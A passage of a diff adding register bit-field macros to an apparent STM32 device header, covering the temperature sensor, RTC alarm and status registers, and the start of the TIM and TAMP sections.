/*!< Engineering value of the DTSerature T0 for DTS */ + +/****************** Bit definition for DTS_RAMPVALR register ******************/ +#define DTS_RAMPVALR_TS1_RAMP_COEFF_Pos (0U) +#define DTS_RAMPVALR_TS1_RAMP_COEFF_Msk (0xFFFFUL << DTS_RAMPVALR_TS1_RAMP_COEFF_Pos) /*!< 0x0000FFFF */ +#define DTS_RAMPVALR_TS1_RAMP_COEFF DTS_RAMPVALR_TS1_RAMP_COEFF_Msk /*!< Engineering value of the ramp coefficient for DTS */ + +/****************** Bit definition for DTS_ITR1 register ******************/ +#define DTS_ITR1_TS1_LITTHD_Pos (0U) +#define DTS_ITR1_TS1_LITTHD_Msk (0xFFFFUL << DTS_ITR1_TS1_LITTHD_Pos) /*!< 0x0000FFFF */ +#define DTS_ITR1_TS1_LITTHD DTS_ITR1_TS1_LITTHD_Msk /*!< Low interrupt threshold[15:0] for DTS */ +#define DTS_ITR1_TS1_HITTHD_Pos (16U) +#define DTS_ITR1_TS1_HITTHD_Msk (0xFFFFUL << DTS_ITR1_TS1_HITTHD_Pos) /*!< 0xFFFF0000 */ +#define DTS_ITR1_TS1_HITTHD DTS_ITR1_TS1_HITTHD_Msk /*!< High interrupt threshold[15:0] for DTS */ + +/****************** Bit definition for DTS_DR register ******************/ +#define DTS_DR_TS1_MFREQ_Pos (0U) +#define DTS_DR_TS1_MFREQ_Msk (0xFFFFUL << DTS_DR_TS1_MFREQ_Pos) /*!< 0x0000FFFF */ +#define DTS_DR_TS1_MFREQ DTS_DR_TS1_MFREQ_Msk /*!< Measured Frequency[15:0] for DTS */ + +/****************** Bit definition for DTS_SR register ******************/ +#define DTS_SR_TS1_ITEF_Pos (0U) +#define DTS_SR_TS1_ITEF_Msk (0x1UL << DTS_SR_TS1_ITEF_Pos) /*!< 0x00000001 */ +#define DTS_SR_TS1_ITEF DTS_SR_TS1_ITEF_Msk /*!< Interrupt flag for end of measure for DTS */ +#define DTS_SR_TS1_ITLF_Pos (1U) +#define DTS_SR_TS1_ITLF_Msk (0x1UL << DTS_SR_TS1_ITLF_Pos) /*!< 0x00000002 */ +#define DTS_SR_TS1_ITLF DTS_SR_TS1_ITLF_Msk /*!< Interrupt flag for low threshold for DTS */ +#define DTS_SR_TS1_ITHF_Pos (2U) +#define DTS_SR_TS1_ITHF_Msk (0x1UL << DTS_SR_TS1_ITHF_Pos) /*!< 0x00000004 */ +#define DTS_SR_TS1_ITHF DTS_SR_TS1_ITHF_Msk /*!< Interrupt flag for high threshold for DTS */ +#define DTS_SR_TS1_AITEF_Pos (4U) +#define DTS_SR_TS1_AITEF_Msk (0x1UL << DTS_SR_TS1_AITEF_Pos) /*!< 0x00000010 */ +#define DTS_SR_TS1_AITEF DTS_SR_TS1_AITEF_Msk /*!< Asynchronous interrupt flag for end of measure for DTS */ +#define DTS_SR_TS1_AITLF_Pos (5U) +#define DTS_SR_TS1_AITLF_Msk (0x1UL << DTS_SR_TS1_AITLF_Pos) /*!< 0x00000020 */ +#define DTS_SR_TS1_AITLF DTS_SR_TS1_AITLF_Msk /*!< Asynchronous interrupt flag for low threshold for DTS */ +#define DTS_SR_TS1_AITHF_Pos (6U) +#define DTS_SR_TS1_AITHF_Msk (0x1UL << DTS_SR_TS1_AITHF_Pos) /*!< 0x00000040 */ +#define DTS_SR_TS1_AITHF DTS_SR_TS1_AITHF_Msk /*!< Asynchronous interrupt flag for high threshold for DTS */ +#define DTS_SR_TS1_RDY_Pos (15U) +#define DTS_SR_TS1_RDY_Msk (0x1UL << DTS_SR_TS1_RDY_Pos) /*!< 0x00008000 */ +#define DTS_SR_TS1_RDY DTS_SR_TS1_RDY_Msk /*!< DTS ready flag */ + +/****************** Bit definition for DTS_ITENR register ******************/ +#define DTS_ITENR_TS1_ITEEN_Pos (0U) +#define DTS_ITENR_TS1_ITEEN_Msk (0x1UL << DTS_ITENR_TS1_ITEEN_Pos) /*!< 0x00000001 */ +#define DTS_ITENR_TS1_ITEEN DTS_ITENR_TS1_ITEEN_Msk /*!< Enable interrupt flag for end of measure for DTS */ +#define DTS_ITENR_TS1_ITLEN_Pos (1U) +#define DTS_ITENR_TS1_ITLEN_Msk (0x1UL << DTS_ITENR_TS1_ITLEN_Pos) /*!< 0x00000002 */ +#define DTS_ITENR_TS1_ITLEN DTS_ITENR_TS1_ITLEN_Msk /*!< Enable interrupt flag for low threshold for DTS */ +#define DTS_ITENR_TS1_ITHEN_Pos (2U) +#define DTS_ITENR_TS1_ITHEN_Msk (0x1UL << DTS_ITENR_TS1_ITHEN_Pos) /*!< 0x00000004 */ +#define DTS_ITENR_TS1_ITHEN DTS_ITENR_TS1_ITHEN_Msk /*!< Enable interrupt flag for high threshold for DTS */ +#define DTS_ITENR_TS1_AITEEN_Pos (4U) +#define DTS_ITENR_TS1_AITEEN_Msk (0x1UL << DTS_ITENR_TS1_AITEEN_Pos) /*!< 0x00000010 */ +#define DTS_ITENR_TS1_AITEEN DTS_ITENR_TS1_AITEEN_Msk /*!< Enable asynchronous interrupt flag for end of measure for DTS */ +#define DTS_ITENR_TS1_AITLEN_Pos (5U) +#define DTS_ITENR_TS1_AITLEN_Msk (0x1UL << DTS_ITENR_TS1_AITLEN_Pos) /*!< 0x00000020 */ +#define DTS_ITENR_TS1_AITLEN DTS_ITENR_TS1_AITLEN_Msk /*!< Enable Asynchronous interrupt flag for low threshold for DTS */ +#define DTS_ITENR_TS1_AITHEN_Pos (6U) +#define DTS_ITENR_TS1_AITHEN_Msk (0x1UL << DTS_ITENR_TS1_AITHEN_Pos) /*!< 0x00000040 */ +#define DTS_ITENR_TS1_AITHEN DTS_ITENR_TS1_AITHEN_Msk /*!< Enable asynchronous interrupt flag for high threshold for DTS */ + +/****************** Bit definition for DTS_ICIFR register ******************/ +#define DTS_ICIFR_TS1_CITEF_Pos (0U) +#define DTS_ICIFR_TS1_CITEF_Msk (0x1UL << DTS_ICIFR_TS1_CITEF_Pos) /*!< 0x00000001 */ +#define DTS_ICIFR_TS1_CITEF DTS_ICIFR_TS1_CITEF_Msk /*!< Clear the IT flag for End Of Measure for DTS */ +#define DTS_ICIFR_TS1_CITLF_Pos (1U) +#define DTS_ICIFR_TS1_CITLF_Msk (0x1UL << DTS_ICIFR_TS1_CITLF_Pos) /*!< 0x00000002 */ +#define DTS_ICIFR_TS1_CITLF DTS_ICIFR_TS1_CITLF_Msk /*!< Clear the IT flag for low threshold for DTS */ +#define DTS_ICIFR_TS1_CITHF_Pos (2U) +#define DTS_ICIFR_TS1_CITHF_Msk (0x1UL << DTS_ICIFR_TS1_CITHF_Pos) /*!< 0x00000004 */ +#define DTS_ICIFR_TS1_CITHF DTS_ICIFR_TS1_CITHF_Msk /*!< Clear the IT flag for high threshold on DTS */ +#define DTS_ICIFR_TS1_CAITEF_Pos (4U) +#define DTS_ICIFR_TS1_CAITEF_Msk (0x1UL << DTS_ICIFR_TS1_CAITEF_Pos) /*!< 0x00000010 */ +#define DTS_ICIFR_TS1_CAITEF DTS_ICIFR_TS1_CAITEF_Msk /*!< Clear the asynchronous IT flag for End Of Measure for DTS */ +#define DTS_ICIFR_TS1_CAITLF_Pos (5U) +#define DTS_ICIFR_TS1_CAITLF_Msk (0x1UL << DTS_ICIFR_TS1_CAITLF_Pos) /*!< 0x00000020 */ +#define DTS_ICIFR_TS1_CAITLF DTS_ICIFR_TS1_CAITLF_Msk /*!< Clear the asynchronous IT flag for low threshold for DTS */ +#define DTS_ICIFR_TS1_CAITHF_Pos (6U) +#define DTS_ICIFR_TS1_CAITHF_Msk (0x1UL << DTS_ICIFR_TS1_CAITHF_Pos) /*!< 0x00000040 */ +#define DTS_ICIFR_TS1_CAITHF DTS_ICIFR_TS1_CAITHF_Msk /*!< Clear the asynchronous IT flag for high threshold on DTS */ + +/******************************************************************************/ +/* */ +/* TIM */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TIM_CR1 register ********************/ +#define TIM_CR1_CEN_Pos (0U) +#define TIM_CR1_CEN_Msk (0x1UL << TIM_CR1_CEN_Pos) /*!< 0x00000001 */ +#define TIM_CR1_CEN TIM_CR1_CEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for 